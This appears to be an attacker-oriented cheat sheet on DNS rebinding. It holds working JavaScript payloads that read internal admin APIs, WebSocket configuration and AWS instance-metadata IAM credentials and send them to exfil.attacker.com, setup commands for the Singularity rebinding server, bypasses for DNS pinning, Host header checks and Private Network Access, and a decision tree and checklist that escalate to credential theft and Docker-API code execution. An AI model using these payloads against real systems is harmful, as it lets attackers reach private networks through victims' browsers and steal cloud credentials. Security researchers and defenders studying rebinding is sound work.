dns-rebinding-attacks

1. Multiple A records technique:
   - Return BOTH attacker IP and target IP in single DNS response
   - Browser tries first IP; if connection fails → falls back to second
   - Block attacker IP after initial page load → forces fallback to internal IP
   
2. Subdomain flooding:
   - Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com...
   - Each subdomain gets fresh DNS resolution (no cache hit)
   
3. Service worker flush:
   - Register service worker that intercepts and delays requests
   - By the time fetch executes, DNS cache has expired

// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
    // Wait for DNS cache to expire
    await sleep(65000); // >60s for Chrome
    
    // This request now resolves to internal IP
    const resp = await fetch('http://attacker.com:8080/api/admin/users');
    const data = await resp.text();
    
    // Exfiltrate to different attacker endpoint
    navigator.sendBeacon('https://exfil.attacker.com/log', data);
}

// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
    ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
    fetch('https://exfil.attacker.com/ws-data', {
        method: 'POST',
        body: e.data
    });
};

1. Application receives URL: http://attacker.com/callback
2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
3. Server opens connection / follows redirect
4. DNS changes: attacker.com → 169.254.169.254
5. Connection reuse or redirect hits internal IP

DNS response for attacker.com:
  A  1.2.3.4       (attacker — serves JS)
  A  192.168.1.1   (target — internal service)
  
1. Browser connects to 1.2.3.4, loads page with JS
2. Attacker firewall blocks further connections from victim to 1.2.3.4
3. JS makes new request to attacker.com
4. Browser tries 1.2.3.4 → connection refused
5. Falls back to 192.168.1.1 → still same origin
6. Response readable by JS

// AWS metadata via rebinding
fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
    .then(r => r.text())
    .then(role => {
        return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
    })
    .then(r => r.json())
    .then(creds => {
        navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
    });
// After rebinding, attacker.com resolves to 169.254.169.254
// Browser sends Host: attacker.com but IMDSv1 doesn't check Host header

# Clone and run
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/main.go
 
# Start with rebind from attacker IP to target IP
./singularity -DNSRebindStrategy round-robin \
    -ResponseIPAddr 1.2.3.4 \
    -RebindingFn sequential \
    -ResponseReboundIPAddr 192.168.1.1

Format: <hex-ip1>.<hex-ip2>.rbndr.us
Example: 7f000001.c0a80101.rbndr.us
  → alternates between 127.0.0.1 and 192.168.1.1
  
Convert IP to hex:
  192.168.1.1 → c0.a8.01.01 → c0a80101
  127.0.0.1   → 7f.00.00.01 → 7f000001

DNS pinning bypass:
├── Multiple A records → connection failure forces fallback
├── Subdomain per request → no cache hit
├── Wait for cache expiry (Chrome: 60s)
└── Rebind via CNAME chain (harder to pin)

Host header validation bypass:
├── Internal service may not check Host header at all
├── Host: attacker.com accepted by default configs
├── IP-based vhosts don't check Host
└── Wildcard vhost configurations

Private Network Access (PNA) bypass:
├── PNA only in Chrome (as of 2024), partial enforcement
├── WebSocket connections may not trigger preflight
├── HTTPS → HTTP downgrade scenarios
└── Non-browser clients unaffected

Want to access internal services from victim's browser?
│
├── Can you get victim to visit your page?
│   ├── YES → DNS rebinding is viable
│   │   │
│   │   ├── What is the target?
│   │   │   ├── HTTP service → Classic rebinding (Section 3.1)
│   │   │   ├── WebSocket service → WS rebinding (Section 3.2)
│   │   │   └── Cloud metadata → Metadata exfil (Section 4)
│   │   │
│   │   ├── Browser cache concern?
│   │   │   ├── Chrome → Wait 60s or use multiple subdomains
│   │   │   ├── Firefox → Wait 60s or adjust dnsCacheExpiration
│   │   │   └── Use multiple A records technique for instant rebind
│   │   │
│   │   ├── Target checks Host header?
│   │   │   ├── YES → Rebinding alone won't work
│   │   │   │   └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
│   │   │   └── NO → Proceed with rebinding
│   │   │
│   │   └── Need credentials?
│   │       ├── Browser auto-sends cookies → works if same-site allows
│   │       └── Custom auth header needed → limited (no-cors won't send custom headers)
│   │
│   └── NO → DNS rebinding not applicable
│       └── Consider SSRF if server-side fetch exists
│
└── Is this server-side DNS validation bypass? (TOCTOU)
    ├── YES → Hybrid approach (Section 3.3)
    │   └── SSRF with DNS rebinding for IP validation bypass
    └── NO → Review ../ssrf-server-side-request-forgery/ instead

□ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
□ Identify target internal services (port scan from victim context if possible)
□ Determine browser DNS cache duration for target browser
□ Choose rebinding variant (classic / multi-A / subdomain flood)
□ Test with benign internal endpoint first (e.g., / on router)
□ Verify same-origin read works after rebind
□ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
□ Document: attacker.com DNS config, JS payload, rebind timing, exfil data